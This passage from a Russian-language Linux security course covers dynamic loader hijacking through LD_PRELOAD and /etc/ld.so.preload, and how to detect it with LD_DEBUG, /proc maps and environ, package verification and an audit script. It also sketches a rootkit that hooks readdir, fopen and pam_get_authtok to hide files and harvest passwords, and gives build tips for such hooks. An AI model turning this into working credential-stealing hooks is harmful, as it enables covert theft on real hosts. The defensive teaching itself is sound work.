ldd честно говорит, что файл не динамический, а LD_PRELOAD молча игнорируется: программа работает, хук не срабатывает, ошибки нет. Второй способ — -Wl,-z,now (или LD_BIND_NOW=1): все символы разрешаются при загрузке, до main. Это не мешает перехвату как таковому (наш символ всё равно первый), но убирает «ленивое окно», в котором подмена GOT после старта могла бы изменить поведение уже работающей программы.

readelf -d /bin/ls | grep -E 'BIND_NOW|FLAGS'

Для защитника это означает: сборка с -z now -z relro сужает окно для атак на GOT, но не защищает от LD_PRELOAD — от него защищает только контроль целостности и отсутствие лишних переменных в окружении.

Трассировка загрузчика

LD_DEBUG — встроенный отладчик загрузчика 1. LD_DEBUG=libs показывает поиск и загрузку библиотек, LD_DEBUG=bindings — разрешение символов, LD_DEBUG=statistics — статистику релокаций. Для проверки «что подхватилось» достаточно первого:

LD_DEBUG=libs ls /dev/null 2>&1 | head -12
        12:	find library=libcap.so.2 [0]; searching
        12:	 search cache=/etc/ld.so.cache
        12:	  trying file=/usr/lib/libcap.so.2
        12:	
        12:	find library=libc.so.6 [0]; searching
        12:	 search cache=/etc/ld.so.cache
        12:	  trying file=/usr/lib/libc.so.6
        12:	
        12:	calling init: /lib64/ld-linux-x86-64.so.2

Здесь видно порядок: сначала libcap, потом libc, потом инициализация. Если в выводе появилась библиотека из /tmp, /home или /dev/shm — это и есть перехват. Ограничение: LD_DEBUG игнорируется в безопасном режиме, поэтому setuid-программы так не проверить; для них остаются strace (запуск от root) и /proc/<pid>/maps.

/proc/<pid>/maps и environ

maps показывает, что реально отображено в процесс: путь, смещение, права. environ — переменные окружения процесса. Вместе они отвечают на вопрос «какая библиотека и почему».

grep -E '\.so' /proc/self/maps | head -3
tr '\0' '\n' < /proc/self/environ | grep -E '^(LD_|SSH_)' || echo "переменных LD_/SSH_ нет"
7f4e2c0a0000-7f4e2c0c8000 r--p 00000000 08:02 1310742 /usr/lib/x86_64-linux-gnu/libc.so.6
...
переменных LD_/SSH_ нет

Чужой environ доступен только root или через ptrace (тема 09) — ядро проверяет права по ptrace_may_access. Свой — всегда. Практический приём: сравнить maps процесса с выводом ldd для того же бинарника; расхождение означает, что загрузчик подхватил что-то ещё.

Сверка пакетов и целостности

Последний рубеж — сверка файлов с эталоном 8. В Debian/Ubuntu это dpkg -V, в RHEL — rpm -Va, в Arch — pacman -Qkk. AIDE и Tripwire дают ту же проверку по хешам, но с базой, снятой заранее.

dpkg -V 2>/dev/null | head -5 || pacman -Qkk 2>/dev/null | grep -v '0 altered files' | head -5

Смысл: изменившийся файл пакета — сигнал, независимо от того, что именно изменилось. Для библиотек это особенно важно, потому что подмена .so не меняет ни имени, ни прав, и единственный след — хеш.

Как это выглядит в реальной кампании

Разберём типовой сценарий без имён и дат: на хосте появляется библиотека в /usr/local/lib, в юните службы — строка Environment=LD_PRELOAD=..., а в /etc/ld.so.preload — та же библиотека, «чтобы работало и для остальных программ». Сама библиотека перехватывает readdir (скрывает файл), fopen (подменяет конфигурацию) и pam_get_authtok (собирает пароли).

Что видит защитник по шагам. Первое: mtime юнита не совпадает с датой обновления пакета, а systemctl cat показывает строку, которой нет в эталоне. Второе: /etc/ld.so.preload непуст — файл, которого в нормальной системе быть не должно. Третье: ldconfig -p не знает про библиотеку, но она отображена в maps процессов — значит загружена не через кэш, а напрямую. Четвёртое: dpkg -V/pacman -Qkk показывает изменённые файлы пакетов, если библиотека подменила существующую, а не добавила новую.

Порядок разбора: снять maps и environ с подозрительных процессов, сохранить копию библиотеки и юнита, проверить /etc/ld.so.preload, сверить пакеты, и только потом удалять. Удаление без копии уничтожает единственный экземпляр того, что анализировали, — а вопрос «что ещё она перехватывала» без копии не решается.

Сводная матрица

ПриёмПризнакГде смотретьКонтрмера
LD_PRELOAD в сессиипеременная в окружении процесса/proc/<pid>/environчистые окружения для чувствительных задач, env -i
LD_PRELOAD в юнитеEnvironment= в юнитеsystemctl show -p Environmentсверка юнитов с эталоном, systemd-analyze verify
LD_PRELOAD в cronстрока в crontabcrontab -l, /etc/cron.dревизия расписаний
/etc/ld.so.preloadфайл существует и непустls -l, strace -e openatконтроль целостности, AIDE
Подмена библиотеки.so не из пакета, изменённый хешdpkg -V, ldd, mapsсверка пакетов, IMA
Перехват PAMмодуль из нестандартного каталога/etc/pam.d/, ls -l модулейподпись, права 0644, аудит
SetEnv в sshdдиректива с LD_sshd_config, sshd_config.dсверка конфигурации
Хук getuidрассогласование uid/euidid, whoami, getauxvalне полагаться на uid в скриптах

secure_getenv: как glibc защищается сама

Внутри glibc есть собственная проверка: secure_getenv() возвращает NULL, если процесс работает в безопасном режиме, и обычное значение — если нет. Функция используется там, где переменная окружения могла бы повлиять на безопасность: пути временных файлов (TMPDIR), выбор локали, настройки NSS. Идея простая: даже если ядро не выставило AT_SECURE (например, программа сама решила, что работает с привилегиями), библиотека не станет доверять окружению.

/* secure_env.c — сравнение getenv и secure_getenv */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    const char *v1 = getenv("TMPDIR");
    const char *v2 = secure_getenv("TMPDIR");
    printf("getenv(TMPDIR)        = %s\n", v1 ? v1 : "(нет)");
    printf("secure_getenv(TMPDIR) = %s\n", v2 ? v2 : "(нет)");
    return 0;
}
gcc -O2 -Wall -Wextra -o secure_env secure_env.c
TMPDIR=/tmp/evil ./secure_env
getenv(TMPDIR)        = /tmp/evil
secure_getenv(TMPDIR) = /tmp/evil

Для обычной программы обе функции возвращают одно и то же. Разница появляется при AT_SECURE = 1: secure_getenv вернёт NULL, а getenv — значение. Практический вывод для того, кто пишет хук: перехватывать getenv бессмысленно, если цель использует secure_getenv; и наоборот, проверка «программа читает окружение через secure_getenv» — признак того, что автор думал о безопасности.

Сборка хука: флаги, ABI и совместимость

Хук — обычная разделяемая библиотека, но у неё есть требования, без которых она либо не загрузится, либо упадёт.

-shared -fPIC. Позиционно-независимый код обязателен: библиотека отображается по произвольному адресу, и абсолютные адреса в ней недопустимы. Без -fPIC линковка может пройти, а загрузка — упасть с cannot dynamically load position-independent executable.

-Wl,-soname,libfoo.so.1. Имя для динамического загрузчика. Без него библиотека грузится по полному пути, и ldconfig не сможет её найти по имени.

-ldl. Нужен для dlsym, dlopen, dlerror. В glibc 2.34+ эти функции переехали в libc, и -ldl стал пустой заглушкой, но на старых системах без него не собрать.

Совместимость ABI. Хук, собранный против glibc 2.39, может не загрузиться на системе с 2.31: символы версионированы, и загрузчик скажет version 'GLIBC_2.39' not found. Для переносимости собирают на самой старой целевой системе или статически линкуют только то, что не пересекается с libc.

__attribute__((constructor)) и порядок. Конструктор хука выполнится до main, но после инициализации зависимостей. Если в конструкторе нужен dlsym, вызывать его там опасно: загрузчик ещё не закончил разрешение. Правильно — ленивая инициализация при первом вызове хука, как в примерах выше (if (!real) real = dlsym(...)).

Аудит окружения одной командой

Практическая проверка, которую можно запускать на любой машине: собрать всё, что относится к подмене загрузчика, в один отчёт.

{
  echo "== ld.so.preload"; ls -l /etc/ld.so.preload 2>&1; cat /etc/ld.so.preload 2>/dev/null
  echo "== ld.so.conf.d";  ls -l /etc/ld.so.conf.d/ 2>&1
  echo "== cache mtime";   stat -c '%y %n' /etc/ld.so.cache 2>&1
  echo "== env LD_";       env | grep -E '^LD_' || echo "нет"
  echo "== pam modules";   grep -rhoE '/[^ ]+\.so' /etc/pam.d/ 2>/dev/null | sort -u | head
  echo "== sshd SetEnv";   grep -rn 'SetEnv' /etc/ssh/ 2>/dev/null || echo "нет"
} > audit-env.txt
wc -l audit-env.txt
== ld.so.preload
ls: невозможно получить доступ к '/etc/ld.so.preload': Нет такого файла или каталога
== ld.so.conf.d
...
== cache mtime
2026-10-01 12:44:07.000000000 +0300 /etc/ld.so.cache
== env LD_
нет
== pam modules
/usr/lib/security/pam_unix.so
/usr/lib/security/pam_env.so
...
== sshd SetEnv
нет

Три строки в этом отчёте важнее остальных: отсутствие ld.so.preload, отсутствие LD_* в окружении и mtime кэша, совпадающий с последним обновлением пакетов. Всё остальное — контекст для разбора, если что-то не сходится.

Итоги темы

Динамический загрузчик — это точка, где программа ещё не работает, но уже зависит от файлов и переменных. Порядок поиска (RPATH → LD_LIBRARY_PATH → RUNPATH → кэш → системные каталоги) определяет, какая библиотека победит, и эксперимент с двумя сборками показывает, что RPATH и RUNPATH — разные теги с разным приоритетом. LD_PRELOAD встраивает библиотеку перед всеми, RTLD_NEXT позволяет вызвать настоящую функцию, а порядок инициализации обратен порядку в списке — деталь, которая ломает хуки конструкторов.

AT_SECURE — граница приёма: для setuid и файловых capabilities переменные отбрасываются, и перехват через них не работает. /etc/ld.so.preload эту границу обходит, потому что он системный и читается всегда; отсюда его роль главного индикатора компрометации. Каналы доставки — юниты systemd, cron, SetEnv в sshd, модули PAM, .desktop — объединены тем, что выглядят как конфигурация, а не как код.

Обнаружение строится на трёх вопросах: какие библиотеки отображены (maps), откуда они взялись (ldd, dpkg -V, хеши) и что в окружении (environ, LD_DEBUG, strace). Перехват одной функции почти всегда оставляет рассогласование — id верит getuid, whoami верит geteuid, и расхождение между ними видно. Это же и главный урок для защитника: не «искать вирусы», а сверять то, что должно быть, с тем, что есть.

Дальше — тема 02: следы, которые человек оставляет в системе сам, без всякого перехвата. История команд, файлы редакторов, журналы входов и живой сокет ssh-agent — следующий слой разведки после окружения.

Литература

  1. Kerrisk M. The Linux Programming Interface. — No Starch Press, 2010.
  2. The Linux man-pages project. — https://man7.org/linux/man-pages/
  3. Bovet D. P., Cesati M. Understanding the Linux Kernel. 3rd ed. — O'Reilly Media, 2005.
  4. Linux Kernel Documentation. — https://docs.kernel.org/
  5. Nemeth E., Snyder G., Hein T. R., Whaley B., Mackin D. UNIX and Linux System Administration Handbook. 5th ed. — Addison-Wesley, 2017.
  6. MITRE ATT&CK: Linux techniques. — https://attack.mitre.org/
  7. Free Software Foundation. GNU Bash Reference Manual. — https://www.gnu.org/software/bash/manual/
  8. NIST SP 800-86. Guide to Integrating Forensic Techniques into Incident Response. — 2006.